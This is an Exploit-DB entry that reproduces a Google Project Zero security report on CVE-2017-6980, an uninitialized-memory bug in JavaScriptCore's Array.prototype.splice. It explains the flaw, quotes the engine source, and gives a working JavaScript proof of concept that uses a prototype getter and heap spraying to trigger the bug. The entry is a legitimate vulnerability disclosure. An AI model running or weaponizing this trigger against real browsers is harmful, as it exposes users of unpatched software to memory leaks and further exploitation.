EDB-ID: 42189 | Author: Google Security Research | Published: 2017-06-16 | CVE: CVE-2017-6980 | Type: Dos | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2
Here's a snippet of arrayProtoFuncSplice.
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (!result)
return JSValue::encode(throwOutOfMemoryError(exec, scope));
for (unsigned k = 0; k < actualDeleteCount; ++k) {
JSValue v = getProperty(exec, thisObj, k + actualStart);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (UNLIKELY(!v)) {
continue;
}
result->initializeIndex(vm, k, v);
}
...
}
|JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.
PoC:
-->
function gc() {
for (let i = 0; i < 0x10; i++)
new ArrayBuffer(0x1000000);
}
Array.prototype.__defineGetter__(0x1000, () => 1);
gc();
for (let i = 0; i < 0x100; i++) {
new Array(0x100).fill(1234.5678);
}
gc();
print(new Array(0x100).splice(0));